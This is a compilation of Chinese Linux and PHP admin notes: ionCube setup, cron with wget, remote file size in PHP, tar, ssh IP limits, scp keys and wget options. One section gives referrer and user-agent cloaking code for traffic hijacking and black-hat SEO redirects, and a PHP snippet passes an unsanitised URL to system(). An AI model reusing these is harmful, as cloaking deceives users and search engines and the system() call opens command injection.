VPS lamp,安装ionCube

步骤:
ioncube下载:http://www.ioncube.com/loaders.php
1、将ioncube_loaders_lin_x86.tar.gz上传到centos中
(我在系统里开了一下FTP帐号用户名和密码都是abc,然后传上去)
2、进入到/www/web/abc目录中,解压文件,并将文件复制到/usr/local/目录下

cd /www/web/abc
tar zxvf ioncube_loaders_lin_x86.tar.gz
cp -rf ioncube /usr/local/
3、修改/www/wdlinux/etc/php.ini文件
vi /www/wdlinux/etc/php.ini

在最后一行添加
zend_extension=/usr/local/ioncube/ioncube_loader_lin_5.2.so
需要注意的是:ioncube_loader_lin_5.2.so 的版本要和你的php版本一致(The issue appears to be that I was running php 5.1.x but was trying to load the ioncube loader for php 5.2.x. )

或者在
[Zend]
zend_extension=/usr/local/ioncube/ioncube_loader_lin_5.2.so //这里添加模块
zend_extension_manager.optimizer=/www/wdlinux/Zend/lib/Optimizer-3.3.3
zend_extension_manager.optimizer_ts=/www/wdlinux/Zend/lib/Optimizer_TS-3.3.3
zend_optimizer.version=3.3.3
zend_extension=/www/wdlinux/Zend/lib/ZendExtensionManager.so
zend_extension_ts=/www/wdlinux/Zend/lib/ZendExtensionManager_TS.so

4、重启web服务器
5、点击phpinfo ,看一下就否加载
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
with the ionCube PHP Loader v3.3.14, Copyright (c) 2002-2010, by ionCube Ltd.
为安装正确。
或者合用
用php -v查看状态

如何在linux上定时执行任务

需要的知识点:
1、wget 命令
2、把命令放在.sh文件中
3、是用sh命令执行.sh文件
4、把这个执行.sh的命令放在crontab中
5、在执行命令后加一句系统输出,并写到log中记录(可忽略,只是方便查看日志)

如果我们要在某一个文件夹例如a下面执行:把http://www.163.com首页抓取出来放在我们自己的文件a.html,则可以编写这样的脚本存放到a.sh中,执行脚本如下:
cd /a
vi
#此时进入vi界面,按i进入编辑状态,输入:
wget -O index_new.html http://www.163.com
#这样写的是为了避免wegt执行事件过长造成读index.html的时候读取一半的情况
mv -f index_new.html index.html
#需要记录执行这条命令的时间的话,输入以下命令:
date -s ’09:16:00 20013-01-11′
#ok,脚本编写完成,执行以下操作退出,对了,我们还要为这个脚本文件取名字
按esc键
#输入
:w newfile.sh
#好,现在脚本写完,并生成sh文件存放到了a文件夹下面,接下来把这个脚本放到定时任务里面定时执行
corntab -e
#执行完以后会进入一个vi编辑器,输入以下命令:
1 * * * * sh /a/a.sh >> /var/log/a.log

#如在/var/log/下没有a.log文件,新建一个。
#退出保存

注意事项:
1.第一次使用crontab 的时候是要选择编辑器的
2.‘1 * * * * sh /a/a.sh >> /var/log/a.log’ 如果sh没有起作用,试试命令的绝对路径试试‘1 * * * * /bin/sh /a/a.sh >> /var/log/a.log’
3.系统的crontab知识:http://blog.csdn.net/sunboy_2050/article/details/6817019

PHP获取文件大小

对比需要获取远程文件大小,来看看有几种方法,当成个面试题思考思考也不错。

1.get_headers
简单快捷,301、302跳转。

$header = get_headers($url, 1);
var_dump($header['Content-Length']);

2.curl
curl也还比较方便,还能支持用户验证

function remote_filesize($uri) {
    ob_start();
    $ch = curl_init($uri);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_NOBODY, 1);// remove body
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); // follow redirects recursively
    curl_exec($ch);
    curl_close($ch);
    $head = ob_get_contents();
    ob_end_clean();
 
    $regex = '/Content-Length:\s([0-9].+?)\s/';
    $count = preg_match($regex, $head, $matches);
    return isset($matches[1]) ? $matches[1] : 'unknown';
}

3. 这个做法坑爹啊

function remote_filesize() {
    ob_start();
    system("curl -IL $url | grep Content-Length | awk '{print $2}'");
    $size = intval(trim(ob_get_contents()));
    ob_clean();
    return $size;
}

4.socket
万能的socket,301、302也可以支持。

<?php
$url = 'http://localhost/jump.php';
var_dump(getFileSize($url));
 
function getFileSize($url)
{
    static $i = 0;
    if ($i++ > 3)
        exit;
    $url = parse_url($url);
 
    if ($fp = @fsockopen($url['host'], empty($url['port']) ? 80 : $url['port'], $error)) {
        fputs($fp, "GET " . (empty($url['path']) ? '/' : $url['path']) . " HTTP/1.1\r\n");
        fputs($fp, "Host:$url[host]\r\n\r\n");
        while (!feof($fp)) {
            $tmp = fgets($fp);
            if (isset($arr[1])) {
                print_r($arr);
            }
            if (trim($tmp) == '') {
                break;
            } else if (preg_match('/location:\s(.*)/si', $tmp, $arr)) {
                fclose($fp);
                return getFileSize(trim($arr[1]));
            } else if (preg_match('/Content-Length:\s(.*)/si', $tmp, $arr)) {
                fclose($fp);
                return trim($arr[1]);
            }
        }
        fclose($fp);
    }
    return null;
}

转自:http://onepiece.me/blog/php-get-remote-file-size-without-downloading-file

解压tar包中的指定文件或文件夹 and 建立文件的快捷方式

tar解压tar包中指定文件
例如:在/home/xxl下面有个xxl.tar.gz包(是通过tar -zcvf xxl.tar.gz xxl/来创建的),我们可以用tar -ztvf xxl.tar.gz来查看xxl.tar.gz这个包中包含了什么文件,如果包中有个文件test.sql在xxl/date/目录下面,我现在需要解压出这个文件,其他文件不需要,我可以用下面的命令来解压出来:
tar -zxvf xxl.tar.gz ./ xxl/date/test.sql //和通常我们使用的解压缩命令主要区别是在解压缩文件名的后面加了./ 后面跟上压缩包里面的文件

tar解压tar包中指定文件夹
如果是要解压缩xxl/date文件夹,我们则可以使用如下命令:
tar -zxvf xxl.tar.gz ./ xxl/date //后面直接跟压缩包里面的文件夹路径就可以了。
这时候在当前目录下面产生一个文件夹/xxl/date,里面就会有我想要的文件test.sql了,这样我就不需要对整个tar包来解包了
另外,还可以解压指定的文件到指定的文件夹

tar -zxvf xxl.tar.gz -C /home/xxl1/ /xxl/date/test.sql

这是我们要的文件test.sql就会在/home/xxl1文件夹下面

Linux 建立文件的快捷方式

ln -s /sourcedirectory /destdirectory

输入完整的目录就OK了~

最后 删除符号链接,有创建就有删除

rm -rf symbolic_name   //注意不是rm -rf   symbolic_name/

ssh限制登录ip

修改两个文件:/etc/hosts.deny和/etc/hosts.allow。

格式:

vi /etc/hosts.allow

sshd:192.168.0.100:allow //允许IP 192.168.0.100 登录
sshd:192.168.0.:allow //允许IP 192.168.0. 网段登录
sshd:all:deny //禁止其他的所有IP登录
或者
sshd:223.227.223.*:allow //允许IP 223.227.223.* 网段登录
sshd:192.168.0.*:allow //允许IP 192.168.0.* 网段登录
sshd:all:deny //禁止其他的所有IP登录

Ubuntu定时释放内存

可以添加为

0 */3 * * * root sync
0 */3 * * * root echo "1" >/proc/sys/vm/drop_caches

每3个小时执行一次

今天研发的同学说,开发机跑的越来越慢,说经过观察,是内存跑满了;

我上去看了一下,首先,没有任何应用在大量占用内存,就觉得是内存的Cache在作怪了,于是:

#    free -m

看到内存只有100MB

然后执行了一下命令

#    /bin/sync

#    /bin/echo “1” > /proc/sys/vm/drop_caches

然后再次查看

#    free -m

看到内存成了1GB了,哈哈

想了一下,还是做成定期的任务,让每天的晚上3点执行一次,如下:

#    vim /etc/crontab

添加如下两行:

0    3    *    *    *    root    /bin/sync

0    3    *    *    *    root    /bin/echo “1” > /proc/sys/vm/drop_caches

1    *    *    *    *    root    ntp ntpdate.sjtu.edu.cn        (此行是用来同步时间的)

然后保存,重启crontab

#    /etc/init.d/cron restart

搞定

两台LINUX主机之间要互传文件时可使用SCP命令来实现

当两台LINUX主机之间要互传文件时可使用SCP命令来实现,建立信任关系之后可不输入密码。

把你的本地主机用户的ssh公匙文件复制到远程主机用户的~/.ssh/authorized_keys文件中
假设本地主机linux100,远程主机linux200
一,在linux100主机里的用户
运行
#ssh-keygen -t rsa
结果如下

QUOTE:
Generating public/private rsa key pair.
Enter file in which to save the key (/home/.username/ssh/id_rsa):#回车
Enter passphrase (empty for no passphrase):#回车
Enter same passphrase again:#回车
Your identification has been saved in /home/.username /.ssh/id_rsa.
Your public key has been saved in /home/.username /.ssh/id_rsa.pub.
The key fingerprint is:
38:25:c1:4d:5d:d3:89:bb:46:67:bf:52:af:c3:17:0c [email protected]
Generating RSA keys:
Key generation complete.

会在用户目录~/.ssh/产生两个文件,id_rsa,id_rsa.pub
二,把linux100主机上的id_rsa.pub文件拷贝到linux200主机的root用户主目录下的.ssh目录下,并且改名为authorized_keys
即:
/root/.ssh/authorized_keys
这样在linux100主机上使用scp命令复制文件到linux200上将不提示输入密码了,直接复制了。
反之亦然!

三,复制文件或目录命令:
复制文件:
(1)将本地文件拷贝到远程
scp 文件名 —用户名@计算机IP或者计算机名称:远程路径
(2)从远程将文件拷回本地
scp —用户名@计算机IP或者计算机名称:文件名 本地路径
复制目录:
(1)将本地目录拷贝到远程
scp -r 目录名 用户名@计算机IP或者计算机名称:远程路径
(2)从远程将目录拷回本地
scp -r   用户名@计算机IP或者计算机名称:目录名 本地路径

判断来路搜索引擎域名跳转

在运用的时候可以给js加密增加隐蔽性,方法一 是有效果的
可以检测如果是爬虫就显示原始页面
方法一

var s=document.referrer;
if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("yahoo")>0 || s.indexOf("aol")>0)
{
self.location='http://www.sac-lancelpascher-fr.com/';
}

//方法来源www.ifad-g.fr/upload/lancelpascher.html

方法二

<script type=”text/javascript”>
//============================
//使用方法:1.把本文件备份,以免改坏了找不到源文件 2.下面代码里所有www.114hl.net换成您想跳转到的网址  3.然后把您修改过的这段代码全部复制,然后粘贴到您网站首页(例如index.hm)的<head>代码之后
//技术qq:562585203  淘宝旺旺:皇宫商城
//============================
var s=document.referrer;
//获取访问者来源地址
if(s.indexOf(“baidu”)>0)
//检索来源地之是否有baidu出现
document.write(‘<frameset rows=* framespacing=0 border=0 frameborder=NO><frame src=http://www.114hl.netname=dot_tk_frame_content scrolling=auto noresize></frameset>’); //这是调用框架引用第三方网页,如果不想用这种方式就在前面加上”//”
//self.location=”http://www.114hl.net/“;    //这是跳转到http://www.114hl.net这个网站,如果想用这种方式就将前面的”//”去掉
var s=document.referrer
if(s.indexOf(“google”)>0)
self.location=”http://www.114hl.net/“;
var s=document.referrer
if(s.indexOf(“soso”)>0)
self.location=”http://www.114hl.net/“;
var s=document.referrer
if(s.indexOf(“sogou”)>0)
self.location=”http://www.114hl.net/“;
var s=document.referrer
if(s.indexOf(“sina”)>0)
self.location=”http://www.114hl.net/“;
var s=document.referrer
if(s.indexOf(“163″)>0)
self.location=”http://www.114hl.net/“;
var s=document.referrer
if(s.indexOf(“youdao”)>0)
self.location=”http://www.114hl.net/“;
var s=document.referrer
if(s.indexOf(“yahoo”)>0)
self.location=”http://www.114hl.net/“;
var s=document.referrer
if(s.indexOf(“bing”)>0)
self.location=”http://www.114hl.net/“;
</script>
//来源http://wap.liwenxiao.com/blackhat-seo-domain-rebuild-cheat-viewer-and-searching/

方法三

判断搜索引擎来路进行跳转的代码(PHP+JS)
PHP判断搜索引擎来路跳转代码:

<?php
$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
}
if($flag == false){
   //header("Location: http://www.lishaocong.com" . $_SERVER['REQUEST_URI']);
    require_once("cd.htm");
    // 自动转到http://www.lishaocong.com 对应的网页
    // $_SERVER['REQUEST_URI'] 为域名后面的路径
    // 或 换成 header("Location: http://www.lishaocong.com/abc/d.php");
   exit();
}
else
{
 require_once("news1.htm");
}
?>

JS判断搜索引擎来路跳转代码:

var regexp=//.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(/.[a-z0-9/-]+){1,2}///ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href='http:www.lishaocong.com'
}

直接输入域名,打开网页,没有任何异常。但是通过百度谷歌搜狗等搜索引擎点进来的用户,会执行跳转。可以用来做淘宝客,也可以用来劫持流量。

以上是判断搜索引擎来路进行跳转的JS代码,这里还有另一篇文章,可以通过判断搜索的关键词进行相关跳转:判断关键词进行跳转的JS代码。

方法四

之前分享过《判断搜索引擎来路进行跳转的代码(PHP+JS)》,通过判断搜索引来来路,符合条件再执行跳转,跳转到指定的页面。由于百度开始过滤淘宝客网址,之前一段,单凡在站内出现淘宝客链接的淘客网站,要嘛不被收录,要嘛被K,于是很多人用代码来进行跳转。今天再分享一段JS代码,这段代码可以直接判断关键词,符合条件就会执行跳转。国内很多大型网站,例如某分类信息网站,也在用类似的代码,代码来源于网络,并非聪少所写,与大家共享之。
 

function Redirect()
{
top.location="http://www.YourUrl.com/";
}

var d=document.referrer;
if ((d.indexOf("%B7%D1")>0)||(d.indexOf("%B3%E4")>0)||(d.indexOf("%B3%E5")>0)||(d.indexOf("%BD%BB")>0)||(d.indexOf("%BD%C9")>0)||(d.indexOf("%CC%FC")>0) ||(d.indexOf("%B7%D1")>0) )//判断指定关键词URL16进制加密
{
document.write ('<script language="javascript" type="text/javascript" src="流量统计JS地址"></script>');//流量统计

document.writeln("<html><head>");//重定向跳转页面开始
document.writeln("<title>标题<\/title>");
document.writeln("<meta http-equiv=\"content-Type\" content=\"text\/html charset=gb2312\" \/>");
document.writeln("<\/head><body bgcolor=\"#FFFFFF\">  ");
document.writeln("<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" width=\"700\" align=\"center\" height=\"85%\">  ");
document.writeln("<tr align=\"center\" valign=\"middle\">   ");
document.writeln(" <td>    <table cellpadding=\"10\" cellspacing=\"0\" border=\"0\" width=\"80%\" align=\"center\" style=\"font-family: Verdana, Tahoma; color: #666666; font-size: 11px\">   ");
document.writeln(" <tr>  ");
document.writeln("    <td valign=\"middle\" align=\"center\" bgcolor=\"#EBEBEB\">  ");
document.writeln("   <br \/>");
document.writeln("<br \/> ");
document.writeln("<form action=\"http:\/\/www.YourUrl.com\" method=\"get\" id=\"frm1\" name=\"frm1\">");//载入框架,打开网页,注意JavaScript代码转义符
document.writeln("<b style=\"font-size: 16px\">正在进入,请稍后..<\/b> ");
document.writeln("<br \/>");
document.writeln("");
document.writeln("<br \/>      <input type=\"submit\" value=\"如果您的浏览器不支持跳转请点击这里\">");
document.writeln("<\/td>   ");
document.writeln(" <\/tr>   ");
document.writeln(" <\/table>   ");
document.writeln("<\/td>  ");
document.writeln("<\/tr>");
document.writeln("<\/table>");
document.writeln("<\/body>");
document.writeln("<\/html> ");
document.writeln("")
document.writeln("<div style='display:none;'>");
setInterval("Redirect()",1200);//执行Redirect函数,打开延时单位毫秒
}

else{//不满足指定关键词,载入原始网页
document.writeln("");
}

Linux中用wget 命令行下载使用方法详解

wget虽然功能强大,但是使用起来还是比较简单的,基本的语法是:wget [参数列表] URL。下面就结合具体的例子来说明一下wget的用法。
1、下载整个http或者ftp站点。
wget http://www.jb51.net
这个命令可以将http://www.jb51.net 首页下载下来。使用-x会强制建立服务器上一模一样的目录,如果使用-nd参数,那么服务器上下载的所有内容都会加到本地当前目录。

wget -r http://www.jb51.net
这个命令会按照递归的方法,下载服务器上所有的目录和文件,实质就是下载整个网站。这个命令一定要小心使用,因为在下载的时候,被下载网站指向的所有地址同样会被下载,因此,如果这个网站引用了其他网站,那么被引用的网站也会被下载下来!基于这个原因,这个参数不常用。可以用-l number参数来指定下载的层次。例如只下载两层,那么使用-l 2。

要是您想制作镜像站点,那么可以使用-m参数,例如:wget -m http://www.jb51.net
这时wget会自动判断合适的参数来制作镜像站点。此时,wget会登录到服务器上,读入robots.txt并按robots.txt的规定来执行。

2、断点续传。
当文件特别大或者网络特别慢的时候,往往一个文件还没有下载完,连接就已经被切断,此时就需要断点续传。wget的断点续传是自动的,只需要使用-c参数,例如:
wget -c http://the.url.of/incomplete/file
使用断点续传要求服务器支持断点续传。-t参数表示重试次数,例如需要重试100次,那么就写-t 100,如果设成-t 0,那么表示无穷次重试,直到连接成功。-T参数表示超时等待时间,例如-T 120,表示等待120秒连接不上就算超时。

3、批量下载。
如果有多个文件需要下载,那么可以生成一个文件,把每个文件的URL写一行,例如生成文件download.txt,然后用命令:wget -i download.txt
这样就会把download.txt里面列出的每个URL都下载下来。(如果列的是文件就下载文件,如果列的是网站,那么下载首页)

4、选择性的下载。
可以指定让wget只下载一类文件,或者不下载什么文件。例如:
wget -m --reject=gif http://target.web.site/subdirectory
表示下载http://target.web.site/subdirectory,但是忽略gif文件。--accept=LIST 可以接受的文件类型,--reject=LIST拒绝接受的文件类型。

5、密码和认证。
wget只能处理利用用户名/密码方式限制访问的网站,可以利用两个参数:
--http-user=USER设置HTTP用户
--http-passwd=PASS设置HTTP密码
对于需要证书做认证的网站,就只能利用其他下载工具了,例如curl。

6、利用代理服务器进行下载。
如果用户的网络需要经过代理服务器,那么可以让wget通过代理服务器进行文件的下载。此时需要在当前用户的目录下创建一个.wgetrc文件。文件中可以设置代理服务器:
http-proxy = 111.111.111.111:8080
ftp-proxy = 111.111.111.111:8080
分别表示http的代理服务器和ftp的代理服务器。如果代理服务器需要密码则使用:
--proxy-user=USER设置代理用户
--proxy-passwd=PASS设置代理密码
这两个参数。
使用参数--proxy=on/off 使用或者关闭代理。
wget还有很多有用的功能,需要用户去挖掘。

附录:

命令格式:
  wget [参数列表] [目标软件、网页的网址]

  -V,--version 显示软件版本号然后退出;
  -h,--help显示软件帮助信息;
  -e,--execute=COMMAND 执行一个 “.wgetrc”命令

  -o,--output-file=FILE 将软件输出信息保存到文件;
  -a,--append-output=FILE将软件输出信息追加到文件;
  -d,--debug显示输出信息;
  -q,--quiet 不显示输出信息;
  -i,--input-file=FILE 从文件中取得URL;

  -t,--tries=NUMBER 是否下载次数(0表示无穷次)
  -O --output-document=FILE下载文件保存为别的文件名
  -nc, --no-clobber 不要覆盖已经存在的文件
  -N,--timestamping只下载比本地新的文件
  -T,--timeout=SECONDS 设置超时时间
  -Y,--proxy=on/off 关闭代理

-nd,--no-directories 不建立目录
  -x,--force-directories 强制建立目录

--http-user=USER设置HTTP用户
  --http-passwd=PASS设置HTTP密码
  --proxy-user=USER设置代理用户
  --proxy-passwd=PASS设置代理密码

-r,--recursive 下载整个网站、目录(小心使用)
  -l,--level=NUMBER 下载层次

-A,--accept=LIST 可以接受的文件类型
  -R,--reject=LIST拒绝接受的文件类型
  -D,--domains=LIST可以接受的域名
  --exclude-domains=LIST拒绝的域名
  -L,--relative 下载关联链接
  --follow-ftp 只下载FTP链接
  -H,--span-hosts 可以下载外面的主机
  -I,--include-directories=LIST允许的目录
  -X,--exclude-directories=LIST 拒绝的目录

VPS 批量替换文件中的字符串

1.替换单个文件

sed -i "s/原内容/现内容/g" 文件

2.替换文件夹中的所有文件

sed -i "s/原内容/现内容/g" 文件夹名
sed -i "s/old/new/g" `grep old -rl /www`
-i 表示inplace edit,就地修改文件
-r 表示搜索子目录
-l 表示输出匹配的文件名
在上传项目到服务器的时候,有时候忘记在本地将.svn 目录删除掉了.
现在来介绍下在Linux下,利用shell命令来删除.svn目录
 
find . -type d -name ".svn"|xargs rm -rf